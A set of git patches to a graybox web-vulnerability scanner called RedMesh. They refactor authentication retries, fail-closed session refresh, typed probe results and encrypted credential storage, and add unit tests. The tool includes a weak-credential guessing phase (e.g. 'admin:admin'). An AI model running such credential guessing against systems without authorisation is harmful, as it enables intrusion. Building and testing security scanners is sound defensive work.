09:21:26 +0000 Subject: [PATCH 081/114] refactor: harden redmesh graybox auth lifecycle --- .../cybersec/red_mesh/graybox/auth.py | 81 ++++++++++++++++--- .../red_mesh/graybox/models/__init__.py | 9 ++- .../red_mesh/graybox/models/runtime.py | 13 +++ .../cybersec/red_mesh/graybox/worker.py | 33 +++++++- .../cybersec/red_mesh/tests/test_auth.py | 61 ++++++++++++++ .../cybersec/red_mesh/tests/test_worker.py | 28 +++++++ .../red_mesh/worker/metrics_collector.py | 2 +- 7 files changed, 211 insertions(+), 16 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/graybox/auth.py b/extensions/business/cybersec/red_mesh/graybox/auth.py index 5ec97699..9a502572 100644 --- a/extensions/business/cybersec/red_mesh/graybox/auth.py +++ b/extensions/business/cybersec/red_mesh/graybox/auth.py @@ -12,9 +12,13 @@ from ..constants import GRAYBOX_SESSION_MAX_AGE from .models.target_config import COMMON_CSRF_FIELDS +from .models import GrayboxAuthState class AuthManager: + MAX_AUTH_ATTEMPTS = 2 + AUTH_RETRY_DELAY_SECONDS = 0.25 + """ Manages authenticated HTTP sessions for graybox probes. @@ -31,6 +35,7 @@ def __init__(self, target_url, target_config, verify_tls=True): self.official_session = None self.regular_session = None self._created_at = 0.0 + self._refresh_count = 0 self._auth_errors = [] self._detected_csrf_field = None @@ -43,33 +48,61 @@ def detected_csrf_field(self) -> str | None: def is_expired(self) -> bool: return time.time() - self._created_at > GRAYBOX_SESSION_MAX_AGE + @property + def auth_state(self) -> GrayboxAuthState: + return GrayboxAuthState( + created_at=self._created_at, + refresh_count=self._refresh_count, + official_authenticated=self.official_session is not None, + regular_authenticated=self.regular_session is not None, + auth_errors=tuple(self._auth_errors), + ) + + def needs_refresh(self, require_regular=False) -> bool: + if self.is_expired: + return True + if self.official_session is None: + return True + if require_regular and self.regular_session is None: + return True + return False + def ensure_sessions(self, official_creds, regular_creds=None): """Re-authenticate if sessions are stale or not yet created.""" - if self.official_session and not self.is_expired: + regular_creds = self._coerce_creds(regular_creds) + require_regular = bool(regular_creds and regular_creds.get("username")) + if not self.needs_refresh(require_regular=require_regular): return True - return self.authenticate(official_creds, regular_creds) + self.cleanup() + self._refresh_count += 1 + auth_ok = self.authenticate(official_creds, regular_creds) + if not auth_ok: + self.cleanup() + return auth_ok def authenticate(self, official_creds, regular_creds=None): """Create fresh sessions for all configured users.""" self.anon_session = self._make_session() official_creds = self._coerce_creds(official_creds) regular_creds = self._coerce_creds(regular_creds) + self._auth_errors = [] - self.official_session = self._try_login( + self.official_session = self._try_login_with_retry( + "official", official_creds["username"], official_creds["password"], ) if not self.official_session: - self._auth_errors.append("official_login_failed") return False if regular_creds and regular_creds.get("username"): - self.regular_session = self._try_login( + self.regular_session = self._try_login_with_retry( + "regular", regular_creds["username"], regular_creds["password"], ) if not self.regular_session: - self._auth_errors.append("regular_login_failed") + self._record_auth_error("regular_login_failed") self._created_at = time.time() return True @@ -109,6 +142,7 @@ def cleanup(self): self.official_session = None self.regular_session = None self.anon_session = None + self._created_at = 0.0 def preflight_check(self) -> str | None: """ @@ -160,10 +194,37 @@ def try_credentials(self, username, password): """ return self._try_login(username, password) + def _record_auth_error(self, code): + self._auth_errors.append(code) + + def _try_login_with_retry(self, principal, username, password): + retryable_failure = False + for attempt in range(1, self.MAX_AUTH_ATTEMPTS + 1): + session, retryable_failure = self._try_login_attempt(username, password) + if session is not None: + return session + if not retryable_failure: + break + if attempt < self.MAX_AUTH_ATTEMPTS: + time.sleep(self.AUTH_RETRY_DELAY_SECONDS) + + if retryable_failure: + self._record_auth_error(f"{principal}_login_transport_error") + else: + self._record_auth_error(f"{principal}_login_failed") + return None + def _try_login(self, username, password): """ Attempt login with CSRF auto-detection and robust success detection. """ + session, _ = self._try_login_attempt(username, password) + return session + + def _try_login_attempt(self, username, password): + """ + Attempt one login and classify whether failure is retryable. + """ session = self._make_session() login_url = self.target_url + self.target_config.login_path @@ -172,7 +233,7 @@ def _try_login(self, username, password): resp = session.get(login_url, timeout=10, allow_redirects=True) except requests.RequestException: session.close() - return None + return None, True # Auto-detect or use configured CSRF field csrf_field, csrf_token = self._extract_csrf(resp.text) @@ -193,14 +254,14 @@ def _try_login(self, username, password): ) except requests.RequestException: session.close() - return None + return None, True # Robust success detection if self._is_login_success(resp, session, login_url): - return session + return session, False session.close() - return None + return None, False def _is_login_success(self, response, session, login_url): """ diff --git a/extensions/business/cybersec/red_mesh/graybox/models/__init__.py b/extensions/business/cybersec/red_mesh/graybox/models/__init__.py index 1a1d1dc4..bf9a2e2d 100644 --- a/extensions/business/cybersec/red_mesh/graybox/models/__init__.py +++ b/extensions/business/cybersec/red_mesh/graybox/models/__init__.py @@ -1,4 +1,10 @@ -from .runtime import DiscoveryResult, GrayboxCredential, GrayboxCredentialSet, GrayboxProbeContext +from .runtime import ( + DiscoveryResult, + GrayboxAuthState, + GrayboxCredential, + GrayboxCredentialSet, + GrayboxProbeContext, +) from .target_config import ( AccessControlConfig, AdminEndpoint, @@ -21,6 +27,7 @@ "COMMON_CSRF_FIELDS", "DiscoveryConfig", "DiscoveryResult", + "GrayboxAuthState", "GrayboxCredential", "GrayboxCredentialSet", "GrayboxProbeContext", diff --git a/extensions/business/cybersec/red_mesh/graybox/models/runtime.py b/extensions/business/cybersec/red_mesh/graybox/models/runtime.py index 570a01d3..35d26f78 100644 --- a/extensions/business/cybersec/red_mesh/graybox/models/runtime.py +++ b/extensions/business/cybersec/red_mesh/graybox/models/runtime.py @@ -76,3 +76,16 @@ def to_kwargs(self) -> dict: "regular_username": self.regular_username, "allow_stateful": self.allow_stateful, } + + +@dataclass(frozen=True) +class GrayboxAuthState: + created_at: float = 0.0 + refresh_count: int = 0 + official_authenticated: bool = False + regular_authenticated: bool = False + auth_errors: tuple[str, ...] = () + + @property + def has_authenticated_session(self) -> bool: + return self.official_authenticated diff --git a/extensions/business/cybersec/red_mesh/graybox/worker.py b/extensions/business/cybersec/red_mesh/graybox/worker.py index dfae4ed5..3ada417c 100644 --- a/extensions/business/cybersec/red_mesh/graybox/worker.py +++ b/extensions/business/cybersec/red_mesh/graybox/worker.py @@ -225,7 +225,9 @@ def _run_authentication_phase(self) -> bool: def _run_discovery_phase(self) -> DiscoveryResult: self._set_phase("discovery") self.metrics.phase_start("discovery") - self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) + if not self._ensure_active_sessions("discovery"): + self.metrics.phase_end("discovery") + return DiscoveryResult() result = None discover_result = getattr(self.discovery, "discover_result", None) if callable(discover_result): @@ -257,7 +259,9 @@ def _build_probe_kwargs(self, discovery_result: DiscoveryResult) -> dict: def _run_probe_phase(self, discovery_result: DiscoveryResult): self._set_phase("graybox_probes") self.metrics.phase_start("graybox_probes") - self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) + if not self._ensure_active_sessions("graybox_probes"): + self.metrics.phase_end("graybox_probes") + return probe_context = self._build_probe_kwargs(discovery_result) excluded_features = set(self.job_config.excluded_features or []) @@ -289,7 +293,9 @@ def _run_weak_auth_phase(self, discovery_result: DiscoveryResult): ): self._set_phase("weak_auth") self.metrics.phase_start("weak_auth") - self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) + if not self._ensure_active_sessions("weak_auth"): + self.metrics.phase_end("weak_auth") + return probe_context = self._build_probe_kwargs(discovery_result) bl_probe = BusinessLogicProbes( **dict(probe_context.to_kwargs(), allow_stateful=False), @@ -330,7 +336,10 @@ def _run_registered_probe(self, entry: dict, probe_context: GrayboxProbeContext) self.metrics.record_probe(store_key, "skipped:missing_auth") return - self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) + require_regular = bool(probe_cls.requires_regular_session) + if not self._ensure_active_sessions(store_key, require_regular=require_regular): + self.metrics.record_probe(store_key, "failed:auth_refresh") + return try: from_context = getattr(probe_cls, "from_context", None) @@ -346,6 +355,22 @@ def _run_registered_probe(self, entry: dict, probe_context: GrayboxProbeContext) self._record_probe_error(store_key, exc) self.metrics.record_probe(store_key, "failed") + def _ensure_active_sessions(self, scope, require_regular=False): + """Fail closed if session refresh cannot restore required auth state.""" + auth_ok = self.auth.ensure_sessions( + self._credentials.official, + self._credentials.regular if require_regular or self._credentials.regular else None, + ) + if auth_ok: + return True + + sanitized_scope = scope.replace("_", " ") + self._record_fatal( + f"Authentication session refresh failed during {sanitized_scope}. " + "Graybox scan cannot continue safely." + ) + return False + def _store_findings(self, key, findings): """Store GrayboxFinding dicts in graybox_results under the port key.""" port_results = self.state["graybox_results"].setdefault(self._port_key, {}) diff --git a/extensions/business/cybersec/red_mesh/tests/test_auth.py b/extensions/business/cybersec/red_mesh/tests/test_auth.py index 47f904b1..7ca8abcf 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_auth.py +++ b/extensions/business/cybersec/red_mesh/tests/test_auth.py @@ -220,16 +220,77 @@ def test_session_not_expired(self): auth._created_at = time.time() self.assertFalse(auth.is_expired) + def test_auth_state_reflects_session_status(self): + """auth_state exposes a typed snapshot of current session state.""" + auth = _make_auth() + auth.official_session = MagicMock() + auth.regular_session = None + auth._auth_errors = ["official_login_failed"] + auth._refresh_count = 2 + + state = auth.auth_state + + self.assertTrue(state.official_authenticated) + self.assertFalse(state.regular_authenticated) + self.assertEqual(state.refresh_count, 2) + self.assertEqual(state.auth_errors, ("official_login_failed",)) + def test_cleanup_closes_sessions(self): """cleanup() closes all sessions.""" auth = _make_auth() auth.official_session = MagicMock() auth.regular_session = MagicMock() auth.anon_session = MagicMock() + auth._created_at = time.time() auth.cleanup() auth.official_session is None # already set to None auth.regular_session is None auth.anon_session is None + self.assertEqual(auth._created_at, 0.0) + + def test_ensure_sessions_failed_refresh_clears_stale_sessions(self): + """Failed refresh tears down stale sessions instead of leaving mixed state.""" + auth = _make_auth() + auth.official_session = MagicMock() + auth.regular_session = MagicMock() + auth._created_at = time.time() - GRAYBOX_SESSION_MAX_AGE - 1 + + with patch.object(auth, "authenticate", return_value=False) as mock_auth: + result = auth.ensure_sessions({"username": "admin", "password": "secret"}) + + self.assertFalse(result) + self.assertIsNone(auth.official_session) + self.assertIsNone(auth.regular_session) + self.assertEqual(auth.auth_state.refresh_count, 1) + mock_auth.assert_called_once() + + @patch("extensions.business.cybersec.red_mesh.graybox.auth.requests") + @patch("extensions.business.cybersec.red_mesh.graybox.auth.time.sleep") + def test_authenticate_retries_transient_transport_error(self, mock_sleep, mock_requests): + """Transient transport failures retry once before giving up.""" + import requests as real_requests + + auth = _make_auth() + first_session = MagicMock() + second_session = MagicMock() + first_session.get.side_effect = real_requests.ConnectionError("temporary failure") + second_session.get.return_value = _mock_response( + text='' + ) + second_session.post.return_value = _mock_response( + url="http://testapp.local:8000/dashboard/", + history=[MagicMock()], + ) + second_session.cookies.get_dict.return_value = {"sessionid": "abc"} + mock_requests.Session.side_effect = [MagicMock(), first_session, second_session] + mock_requests.RequestException = real_requests.RequestException + + result = auth.authenticate({"username": "admin", "password": "secret"}) + + self.assertTrue(result) + self.assertIs(auth.official_session, second_session) + mock_sleep.assert_called_once() + self.assertEqual(auth._auth_errors, []) @patch("extensions.business.cybersec.red_mesh.graybox.auth.requests") def test_preflight_unreachable(self, mock_requests): diff --git a/extensions/business/cybersec/red_mesh/tests/test_worker.py b/extensions/business/cybersec/red_mesh/tests/test_worker.py index d5a2f608..57d69677 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_worker.py +++ b/extensions/business/cybersec/red_mesh/tests/test_worker.py @@ -234,6 +234,15 @@ def test_discovery_phase_returns_typed_result(self): self.assertIsInstance(result, DiscoveryResult) self.assertEqual(result.routes, ["/a"]) + def test_discovery_phase_fails_closed_when_refresh_fails(self): + worker = _make_worker() + worker.auth.ensure_sessions = MagicMock(return_value=False) + + result = worker._run_discovery_phase() + + self.assertEqual(result, DiscoveryResult()) + self.assertIn("_graybox_fatal", worker.state["graybox_results"]["8000"]) + def test_build_probe_context_returns_typed_context(self): worker = _make_worker(regular_username="alice") context = worker._build_probe_kwargs(DiscoveryResult(routes=["/r"], forms=["/f"])) @@ -260,6 +269,25 @@ def test_scenario_stats(self): self.assertEqual(stats["vulnerable"], 1) self.assertEqual(stats["not_vulnerable"], 1) + def test_registered_probe_records_auth_refresh_failure(self): + worker = _make_worker() + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth.ensure_sessions = MagicMock(return_value=False) + worker.auth._auth_errors = [] + probe_context = worker._build_probe_kwargs(DiscoveryResult()) + mock_cls = MagicMock() + mock_cls.requires_regular_session = False + mock_cls.requires_auth = True + mock_cls.is_stateful = False + + with patch.object(worker, "_import_probe", return_value=mock_cls): + worker._run_registered_probe({"key": "_graybox_test", "cls": "fake.Probe"}, probe_context) + + self.assertEqual(worker.metrics.build().probes_failed, 1) + self.assertIn("_graybox_fatal", worker.state["graybox_results"]["8000"]) + self.assertEqual(worker.metrics.build().probe_breakdown["_graybox_test"], "failed:auth_refresh") + def test_auth_failure_aborts(self): """Official login fails → fatal finding, done=True.""" worker = _make_worker() diff --git a/extensions/business/cybersec/red_mesh/worker/metrics_collector.py b/extensions/business/cybersec/red_mesh/worker/metrics_collector.py index 3f2e60a8..77ef3af2 100644 --- a/extensions/business/cybersec/red_mesh/worker/metrics_collector.py +++ b/extensions/business/cybersec/red_mesh/worker/metrics_collector.py @@ -160,7 +160,7 @@ def build(self) -> ScanMetrics: probes_attempted = len(self._probe_results) probes_completed = sum(1 for v in self._probe_results.values() if v == "completed") probes_skipped = sum(1 for v in self._probe_results.values() if v.startswith("skipped")) - probes_failed = sum(1 for v in self._probe_results.values() if v == "failed") + probes_failed = sum(1 for v in self._probe_results.values() if v == "failed" or v.startswith("failed:")) banner_total = self._banner_confirmed + self._banner_guessed return ScanMetrics( From 337c22f6b29f1ad692f9d473a9b7bc845bd9ad0b Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 09:25:52 +0000 Subject: [PATCH 082/114] refactor: type redmesh graybox probe boundaries --- .../red_mesh/graybox/models/__init__.py | 4 ++ .../red_mesh/graybox/models/runtime.py | 30 +++++++++ .../cybersec/red_mesh/graybox/probes/base.py | 6 +- .../cybersec/red_mesh/graybox/worker.py | 48 +++++++++----- .../cybersec/red_mesh/tests/test_worker.py | 66 ++++++++++++++++++- 5 files changed, 137 insertions(+), 17 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/graybox/models/__init__.py b/extensions/business/cybersec/red_mesh/graybox/models/__init__.py index bf9a2e2d..4982d600 100644 --- a/extensions/business/cybersec/red_mesh/graybox/models/__init__.py +++ b/extensions/business/cybersec/red_mesh/graybox/models/__init__.py @@ -3,7 +3,9 @@ GrayboxAuthState, GrayboxCredential, GrayboxCredentialSet, + GrayboxProbeDefinition, GrayboxProbeContext, + GrayboxProbeRunResult, ) from .target_config import ( AccessControlConfig, @@ -30,7 +32,9 @@ "GrayboxAuthState", "GrayboxCredential", "GrayboxCredentialSet", + "GrayboxProbeDefinition", "GrayboxProbeContext", + "GrayboxProbeRunResult", "GrayboxTargetConfig", "IdorEndpoint", "InjectionConfig", diff --git a/extensions/business/cybersec/red_mesh/graybox/models/runtime.py b/extensions/business/cybersec/red_mesh/graybox/models/runtime.py index 35d26f78..cddc40eb 100644 --- a/extensions/business/cybersec/red_mesh/graybox/models/runtime.py +++ b/extensions/business/cybersec/red_mesh/graybox/models/runtime.py @@ -89,3 +89,33 @@ class GrayboxAuthState: @property def has_authenticated_session(self) -> bool: return self.official_authenticated + + +@dataclass(frozen=True) +class GrayboxProbeDefinition: + key: str + cls_path: str + + @classmethod + def from_entry(cls, entry) -> "GrayboxProbeDefinition": + if isinstance(entry, GrayboxProbeDefinition): + return entry + return cls( + key=entry["key"], + cls_path=entry["cls"], + ) + + +@dataclass(frozen=True) +class GrayboxProbeRunResult: + findings: list[object] = field(default_factory=list) + outcome: str = "completed" + + @classmethod + def from_value(cls, value, default_outcome: str = "completed") -> "GrayboxProbeRunResult": + if isinstance(value, GrayboxProbeRunResult): + return value + return cls( + findings=list(value or []), + outcome=default_outcome, + ) diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/base.py b/extensions/business/cybersec/red_mesh/graybox/probes/base.py index 89c048de..79337903 100644 --- a/extensions/business/cybersec/red_mesh/graybox/probes/base.py +++ b/extensions/business/cybersec/red_mesh/graybox/probes/base.py @@ -9,7 +9,7 @@ import requests from ..findings import GrayboxFinding -from ..models import GrayboxProbeContext +from ..models import GrayboxProbeContext, GrayboxProbeRunResult class ProbeBase: @@ -64,6 +64,10 @@ def run_safe(self, probe_name, probe_fn): except Exception as exc: self._record_error(probe_name, self.safety.sanitize_error(str(exc))) + def build_result(self, outcome: str = "completed") -> GrayboxProbeRunResult: + """Return a typed probe result without changing legacy run() contracts.""" + return GrayboxProbeRunResult(findings=list(self.findings), outcome=outcome) + def _record_error(self, probe_name, error_msg): """Store a non-fatal error as an INFO GrayboxFinding.""" self.findings.append(GrayboxFinding( diff --git a/extensions/business/cybersec/red_mesh/graybox/worker.py b/extensions/business/cybersec/red_mesh/graybox/worker.py index 3ada417c..e8d36860 100644 --- a/extensions/business/cybersec/red_mesh/graybox/worker.py +++ b/extensions/business/cybersec/red_mesh/graybox/worker.py @@ -14,7 +14,14 @@ from .auth import AuthManager from .discovery import DiscoveryModule from .safety import SafetyControls -from .models import DiscoveryResult, GrayboxCredentialSet, GrayboxProbeContext, GrayboxTargetConfig +from .models import ( + DiscoveryResult, + GrayboxCredentialSet, + GrayboxProbeContext, + GrayboxProbeDefinition, + GrayboxProbeRunResult, + GrayboxTargetConfig, +) # Weak auth uses a direct import (not the registry) because it is a # distinct pipeline phase, not a generic probe. @@ -117,11 +124,15 @@ def get_feature_prefixes(cls): @classmethod def get_supported_features(cls, categs=False): """Return supported graybox features from the explicit probe registry.""" - features = [entry["key"] for entry in GRAYBOX_PROBE_REGISTRY] + ["_graybox_weak_auth"] + features = [probe.key for probe in cls._iter_probe_definitions()] + ["_graybox_weak_auth"] if categs: return {"graybox": features} return features + @staticmethod + def _iter_probe_definitions(): + return [GrayboxProbeDefinition.from_entry(entry) for entry in GRAYBOX_PROBE_REGISTRY] + # start(), stop(), _check_stopped(), P() are ALL inherited from # BaseLocalWorker. NOT redefined here. @@ -268,20 +279,20 @@ def _run_probe_phase(self, discovery_result: DiscoveryResult): graybox_excluded = "graybox" in excluded_features if not graybox_excluded: - for entry in GRAYBOX_PROBE_REGISTRY: + for probe_def in self._iter_probe_definitions(): if self._check_stopped(): break - store_key = entry["key"] + store_key = probe_def.key if store_key in excluded_features: self.metrics.record_probe(store_key, "skipped:disabled") continue - self._run_registered_probe(entry, probe_context) + self._run_registered_probe(probe_def, probe_context) else: - for entry in GRAYBOX_PROBE_REGISTRY: - self.metrics.record_probe(entry["key"], "skipped:disabled") + for probe_def in self._iter_probe_definitions(): + self.metrics.record_probe(probe_def.key, "skipped:disabled") self.state["completed_tests"].append("graybox_probes") self.metrics.phase_end("graybox_probes") @@ -315,10 +326,11 @@ def _run_weak_auth_phase(self, discovery_result: DiscoveryResult): elif self._credentials.weak_candidates and "_graybox_weak_auth" in (self.job_config.excluded_features or []): self.metrics.record_probe("_graybox_weak_auth", "skipped:disabled") - def _run_registered_probe(self, entry: dict, probe_context: GrayboxProbeContext): + def _run_registered_probe(self, entry, probe_context: GrayboxProbeContext): """Run one registered probe through a shared capability and error boundary.""" - store_key = entry["key"] - probe_cls = self._import_probe(entry["cls"]) + probe_def = GrayboxProbeDefinition.from_entry(entry) + store_key = probe_def.key + probe_cls = self._import_probe(probe_def.cls_path) if probe_cls.is_stateful and not probe_context.allow_stateful: self.metrics.record_probe(store_key, "skipped:stateful_disabled") @@ -348,9 +360,9 @@ def _run_registered_probe(self, entry: dict, probe_context: GrayboxProbeContext) probe = from_context(probe_context) else: probe = probe_cls(**probe_context.to_kwargs()) - findings = probe.run() - self._store_findings(store_key, findings) - self.metrics.record_probe(store_key, "completed") + run_result = self._normalize_probe_run_result(probe.run()) + self._store_findings(store_key, run_result) + self.metrics.record_probe(store_key, run_result.outcome) except Exception as exc: self._record_probe_error(store_key, exc) self.metrics.record_probe(store_key, "failed") @@ -371,13 +383,19 @@ def _ensure_active_sessions(self, scope, require_regular=False): ) return False + @staticmethod + def _normalize_probe_run_result(value) -> GrayboxProbeRunResult: + return GrayboxProbeRunResult.from_value(value) + def _store_findings(self, key, findings): """Store GrayboxFinding dicts in graybox_results under the port key.""" + run_result = self._normalize_probe_run_result(findings) port_results = self.state["graybox_results"].setdefault(self._port_key, {}) port_results[key] = { - "findings": [f.to_dict() for f in findings], + "findings": [f.to_dict() for f in run_result.findings], + "outcome": run_result.outcome, } - for finding in findings: + for finding in run_result.findings: self.metrics.record_finding(getattr(finding, "severity", "INFO")) def _store_auth_results(self): diff --git a/extensions/business/cybersec/red_mesh/tests/test_worker.py b/extensions/business/cybersec/red_mesh/tests/test_worker.py index 57d69677..0ce64872 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_worker.py +++ b/extensions/business/cybersec/red_mesh/tests/test_worker.py @@ -6,7 +6,13 @@ from extensions.business.cybersec.red_mesh.graybox.worker import GrayboxLocalWorker from extensions.business.cybersec.red_mesh.worker.base import BaseLocalWorker from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding -from extensions.business.cybersec.red_mesh.graybox.models import DiscoveryResult, GrayboxCredentialSet, GrayboxProbeContext +from extensions.business.cybersec.red_mesh.graybox.models import ( + DiscoveryResult, + GrayboxCredentialSet, + GrayboxProbeContext, + GrayboxProbeDefinition, + GrayboxProbeRunResult, +) from extensions.business.cybersec.red_mesh.constants import ( ScanType, GRAYBOX_PROBE_REGISTRY, ) @@ -251,6 +257,16 @@ def test_build_probe_context_returns_typed_context(self): self.assertEqual(context.discovered_forms, ["/f"]) self.assertEqual(context.regular_username, "alice") + def test_supported_features_come_from_typed_probe_definitions(self): + with patch( + "extensions.business.cybersec.red_mesh.graybox.worker.GRAYBOX_PROBE_REGISTRY", + [{"key": "_graybox_alpha", "cls": "fake.Alpha"}], + ): + self.assertEqual( + GrayboxLocalWorker.get_supported_features(), + ["_graybox_alpha", "_graybox_weak_auth"], + ) + def test_scenario_stats(self): """Scenario stats count findings by status.""" worker = _make_worker() @@ -288,6 +304,54 @@ def test_registered_probe_records_auth_refresh_failure(self): self.assertIn("_graybox_fatal", worker.state["graybox_results"]["8000"]) self.assertEqual(worker.metrics.build().probe_breakdown["_graybox_test"], "failed:auth_refresh") + def test_store_findings_accepts_typed_probe_run_result(self): + worker = _make_worker() + finding = GrayboxFinding( + scenario_id="TEST-01", + title="Typed result", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + ) + run_result = GrayboxProbeRunResult(findings=[finding], outcome="completed") + + worker._store_findings("_typed_probe", run_result) + + stored = worker.state["graybox_results"]["8000"]["_typed_probe"] + self.assertEqual(stored["outcome"], "completed") + self.assertEqual(len(stored["findings"]), 1) + + def test_registered_probe_accepts_typed_probe_definition(self): + worker = _make_worker() + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth.ensure_sessions = MagicMock(return_value=True) + worker.auth._auth_errors = [] + probe_context = worker._build_probe_kwargs(DiscoveryResult()) + finding = GrayboxFinding( + scenario_id="TEST-02", + title="Registry typed", + status="not_vulnerable", + severity="INFO", + owasp="A01:2021", + ) + mock_probe = MagicMock() + mock_probe.run.return_value = GrayboxProbeRunResult(findings=[finding], outcome="completed") + mock_cls = MagicMock(return_value=mock_probe) + mock_cls.requires_regular_session = False + mock_cls.requires_auth = True + mock_cls.is_stateful = False + + with patch.object(worker, "_import_probe", return_value=mock_cls): + worker._run_registered_probe( + GrayboxProbeDefinition(key="_typed", cls_path="fake.Probe"), + probe_context, + ) + + stored = worker.state["graybox_results"]["8000"]["_typed"] + self.assertEqual(stored["outcome"], "completed") + self.assertEqual(worker.metrics.build().probe_breakdown["_typed"], "completed") + def test_auth_failure_aborts(self): """Official login fails → fatal finding, done=True.""" worker = _make_worker() From 1cf08b600bfae161ff418cbd8c7a6574c908b9bd Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 09:42:19 +0000 Subject: [PATCH 083/114] feat: harden redmesh secret storage boundary --- .../red_mesh/repositories/artifacts.py | 8 ++- .../cybersec/red_mesh/services/secrets.py | 42 +++++++++++++- .../cybersec/red_mesh/tests/test_api.py | 55 +++++++++++++++++++ .../red_mesh/tests/test_repositories.py | 14 +++++ 4 files changed, 114 insertions(+), 5 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/repositories/artifacts.py b/extensions/business/cybersec/red_mesh/repositories/artifacts.py index 183d2e9d..45a1580f 100644 --- a/extensions/business/cybersec/red_mesh/repositories/artifacts.py +++ b/extensions/business/cybersec/red_mesh/repositories/artifacts.py @@ -15,12 +15,16 @@ class ArtifactRepository: def __init__(self, owner): self.owner = owner - def get_json(self, cid): + def get_json(self, cid, *, secret=None): if not cid: return None + if secret: + return self.owner.r1fs.get_json(cid, secret=secret) return self.owner.r1fs.get_json(cid) - def put_json(self, payload, *, show_logs=False): + def put_json(self, payload, *, show_logs=False, secret=None): + if secret: + return self.owner.r1fs.add_json(payload, show_logs=show_logs, secret=secret) return self.owner.r1fs.add_json(payload, show_logs=show_logs) def delete(self, cid, *, show_logs=False, raise_on_error=False): diff --git a/extensions/business/cybersec/red_mesh/services/secrets.py b/extensions/business/cybersec/red_mesh/services/secrets.py index 19e06d10..a6ce3f9f 100644 --- a/extensions/business/cybersec/red_mesh/services/secrets.py +++ b/extensions/business/cybersec/red_mesh/services/secrets.py @@ -1,4 +1,5 @@ from copy import deepcopy +import os from ..models import JobConfig from ..repositories import ArtifactRepository @@ -12,23 +13,58 @@ def _artifact_repo(owner): class R1fsSecretStore: - """Minimal secret-store adapter backed by a separate R1FS object.""" + """Secret-store adapter backed by a protected R1FS JSON object.""" def __init__(self, owner): self.owner = owner + @staticmethod + def _normalize_secret_key(value): + if not isinstance(value, str): + return "" + value = value.strip() + return value if len(value) >= 8 else "" + + def _get_secret_store_key(self) -> str: + candidates = [ + os.environ.get("REDMESH_SECRET_STORE_KEY", ""), + getattr(self.owner, "cfg_redmesh_secret_store_key", ""), + getattr(self.owner, "cfg_comms_host_key", ""), + getattr(self.owner, "cfg_attestation_private_key", ""), + ] + for candidate in candidates: + key = self._normalize_secret_key(candidate) + if key: + return key + return "" + def save_graybox_credentials(self, job_id: str, payload: dict) -> str: + secret_key = self._get_secret_store_key() + if not secret_key: + self.owner.P( + "No strong RedMesh secret-store key is configured. " + "Graybox launch credentials cannot be persisted safely.", + color='r', + ) + return "" secret_doc = { "kind": "redmesh_graybox_credentials", "job_id": job_id, + "storage_mode": "encrypted_r1fs_json_v1", "payload": payload, } - return _artifact_repo(self.owner).put_json(secret_doc, show_logs=False) + return _artifact_repo(self.owner).put_json(secret_doc, show_logs=False, secret=secret_key) def load_graybox_credentials(self, secret_ref: str) -> dict | None: if not secret_ref: return None - secret_doc = _artifact_repo(self.owner).get_json(secret_ref) + repo = _artifact_repo(self.owner) + secret_key = self._get_secret_store_key() + secret_doc = None + if secret_key: + secret_doc = repo.get_json(secret_ref, secret=secret_key) + if not isinstance(secret_doc, dict): + secret_doc = repo.get_json(secret_ref) if not isinstance(secret_doc, dict): self.owner.P(f"Failed to fetch graybox secret payload from R1FS (CID: {secret_ref})", color='r') return None diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index 0bb4b1fe..f6e6abd3 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -99,6 +99,7 @@ def _build_mock_plugin(cls, job_id="test-job", time_val=1000000.0, r1fs_cid="QmF plugin.ee_addr = "node-1" plugin.ee_id = "node-alias-1" plugin.cfg_instance_id = "test-instance" + plugin.cfg_redmesh_secret_store_key = "unit-test-redmesh-secret-key" plugin.cfg_port_order = "SEQUENTIAL" plugin.cfg_excluded_features = [] plugin.cfg_distribution_strategy = "SLICE" @@ -321,11 +322,14 @@ def test_launch_webapp_scan_persists_secret_ref_not_inline_passwords(self): secret_doc = plugin.r1fs.add_json.call_args_list[0][0][0] config_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + secret_kwargs = plugin.r1fs.add_json.call_args_list[0][1] self.assertEqual(secret_doc["kind"], "redmesh_graybox_credentials") + self.assertEqual(secret_doc["storage_mode"], "encrypted_r1fs_json_v1") self.assertEqual(secret_doc["payload"]["official_password"], "secret") self.assertEqual(secret_doc["payload"]["regular_password"], "pass") self.assertEqual(secret_doc["payload"]["weak_candidates"], ["admin:admin"]) + self.assertEqual(secret_kwargs["secret"], "unit-test-redmesh-secret-key") self.assertEqual(config_dict["secret_ref"], "QmSecretCID") self.assertEqual(config_dict["official_username"], "") @@ -339,6 +343,22 @@ def test_launch_webapp_scan_persists_secret_ref_not_inline_passwords(self): job_specs = self._extract_job_specs(plugin, "test-job-websecret") self.assertEqual(job_specs["job_config_cid"], "QmConfigCID") + def test_launch_webapp_scan_rejects_secret_persistence_without_store_key(self): + """Webapp launch fails closed when no strong secret-store key is configured.""" + plugin = self._build_mock_plugin(job_id="test-job-websecret-nokey") + plugin.cfg_redmesh_secret_store_key = "" + plugin.cfg_comms_host_key = "" + plugin.cfg_attestation_private_key = "" + + result = self._launch_webapp( + plugin, + official_username="admin", + official_password="secret", + ) + + self.assertEqual(result["error"], "Failed to store job config in R1FS") + self.assertEqual(len(plugin.r1fs.add_json.call_args_list), 0) + def test_launch_webapp_scan_rejects_missing_target_url(self): """Webapp endpoint returns structured validation error for missing URL.""" plugin = self._build_mock_plugin(job_id="test-job-weberr") @@ -1832,6 +1852,7 @@ def 